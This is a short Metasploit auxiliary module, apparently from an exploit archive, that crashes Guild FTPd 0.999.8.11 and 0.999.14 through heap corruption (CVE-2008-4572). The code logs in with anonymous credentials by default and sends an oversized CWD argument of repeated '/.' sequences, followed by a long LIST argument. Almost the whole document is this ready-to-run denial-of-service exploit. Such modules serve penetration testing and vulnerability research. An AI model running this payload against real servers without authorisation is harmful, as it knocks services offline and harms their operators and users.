Guild FTPd 0.999.8.11/0.999.14 Heap Corruption

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Guild FTPd 0.999.8.11/0.999.14 Heap Corruption',  
'Description' => %q{  
Guild FTPd 0.999.8.11 and 0.999.14 are vulnerable  
to heap corruption. You need to have a valid login  
so you can run CWD and LIST.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-4572' ],  
[ 'OSVDB', '49045' ],  
[ 'EDB', '6738']  
],  
'DisclosureDate' => '2008-10-12'))  
  
# They're required  
register_options([  
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),  
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])  
])  
end  
  
def run  
return unless connect_login  
  
print_status("Sending commands...")  
  
# We want to try to wait for responses to these  
resp = send_cmd(['CWD', '/.' * 124])  
resp = send_cmd(['LIST', 'X' * 100])  
  
disconnect  
end  
end  
`